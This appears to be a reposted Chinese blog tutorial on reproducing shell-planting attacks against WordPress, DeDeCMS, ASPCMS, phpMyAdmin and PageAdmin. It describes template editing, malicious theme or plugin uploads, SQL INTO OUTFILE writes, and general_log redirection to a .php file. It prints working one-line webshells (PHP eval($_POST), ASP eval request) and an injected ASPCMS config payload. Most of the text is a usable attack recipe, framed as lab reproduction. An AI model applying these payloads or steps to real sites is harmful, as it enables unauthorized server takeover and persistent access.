0


CMS-GetShell漏洞复现

一:WordPress

环境

使用虚拟机为centos7.6

确保docker与docker-compose已安装(如果有需要或者有时间,会做一篇安装流程)

下载靶场git clone https://github.com/vulhub/vulhub.git(我这里已经下载,不再演示)

进入 /vulhub/wordpress/pwnscriptum 目录下;使用命令docker-compose up -d 开启环境

如果启动失败,vim docker-compose.yml修改

将上面改为2.1,下面为端口自己随便选择一个未占用即可

启动成功

方法一:后台修改模板获取shell

访问虚拟机ip加上wp-sadmin进入,进入外观-编辑-404php,在第一行添加<?php phpinfo(); ?>

在下面点击更新文件(获取shell传入一句话木马,演示使用探针)

拼接路径访问/wp-content/themes/twentyfifteen/404.php

方法二:上传主题获取shell

点击外观-主题,然后添加上传主题,在网上随便下载一个wordpress主题,将传入php与主题一同压缩为zip上传,安装

安装成功后,拼接访问/wp-content/themes/加上上传文件以及php文件

我上传为一句话木马,使用蚁剑测试连接成功

二:DeDeCMS

下载文件解压到小皮面板www目录下(需要文件可以私信),安装后拼接访问/uploads/dede

方法一:通过⽂件管理器上传获取shell

登录后台后,在核心-文件式管理器,点击文件上传上传一句话木马

测试连接,成功

方法二:修改模板文件获取shell

点击模板-默认模板管理,找到index.htm,修改保存

来到生成,更新主页HTML,看到主页模板没问题,生成静态,更新,浏览

方法三:后台任意命令执⾏获取Shell

来到模块,广告管理,增加广告,将上传木马写入广告内容当中保存

添加成功后,点击代码查看位置,来到蚁剑测试连接

方法四:sql写入获取shell

来到系统,sql命令行工具,输入语句指定文件生成位置,点击确定,查看

注意:使用into outfile需要mysql中my.ini中有secure_file_priv=''

三:ASPCMS

环境

下载文件,搭建在有IIS服务机器上(我使用虚拟机Windows Server 2012搭建环境)

将文件解压后,配置在IIS网站下(需要详细环境搭建流程私信,或者有时间会写)

拼接路径/admin_aspcms,访问登录

后台修改配置⽂件获取Shell

进入后点击拓展功能->幻灯片设置->保存,用BP进行抓包

修改包中slideTextStatus 字段的值为1%25><%25Eval(Request (chr(65)))%25><%25,放完包,使用参数为chr(65),参数为a

影响的文件为/config/AspCms_Config.asp,打开后可发现已经添加,使用蚁剑连接

四:PHPMyadmin

环境

使用小皮面板,来到软件管理找到phpmyadmin安装,安装完成后点击管理直接打开安装

方法一:通过⽇志⽂件拿Shell

登录后,点击sql输入以下语句执行

show global variables like '%general%';

发现日志保存状态未开启

输入以下语句执行,开启日志保存状态

set global general_log='on';

再次查看状态,已经开启

使用命令更改日志保存位置,查看是否成功

set global general_log_file = 'E:/phpStudy/phpstudy_pro/WWW/1.php'

使用语句将木马写入,使用蚁剑测试连接

select '<?php eval($_POST["cmd"]);?>';

方法二:导⼊导出获取Shell

通过sql语句判断目录,使用into outfile写入(使用条件看DeDeCMS方法四)

判断mysql位置使用命令

select @@datadir

www路径应当为E:/phpStudy/phpstudy_pro/www若不正确,进行删减判断,写入木马

select "<?php eval($_POST[a]);?>" into outfile 'E:/phpStudy/phpstudy_pro/www/2.php';

执行成功代表路径判断正确(保证目录下没有同名文件,否则会报错),蚁剑连接

方法三:界面图像化获取Shell

假如第一种方法无法使用into outfile时,通过此方法修改日志进行sql写入木马

点击变量,搜索输入gen来搜索日志

sql写入,蚁剑连接

select "<?php eval($_POST[a]);?>";

Pageadmin

环境同ASPCMS一样,下载安装于IIS,安装后,拼接admin,进入管理员页面

方法一:上传模块获得Shell

来到应用,插件安装上传一个含有木马的zip,若为授权版本会上传成功自动解压,直接连接即可

方法二:上传⽂件解压拿WebShell

来到工具,文件管理上传带有一句话木马的zip,注意使用一句话木马为asp格式,内容为

<%eval request("pass")%>

<%eval request("pass")%>

找到后解压,使用蚁剑连接

此漏洞复现结束,若有疑问或是问题提出欢迎讨论

标签: web安全 安全 mysql

本文转载自: https://blog.csdn.net/2401_86440467/article/details/140916550
版权归原作者 Jhin-Askeladd 所有, 如有侵权,请联系我们删除。

“CMS-GetShell漏洞复现”的评论:

还没有评论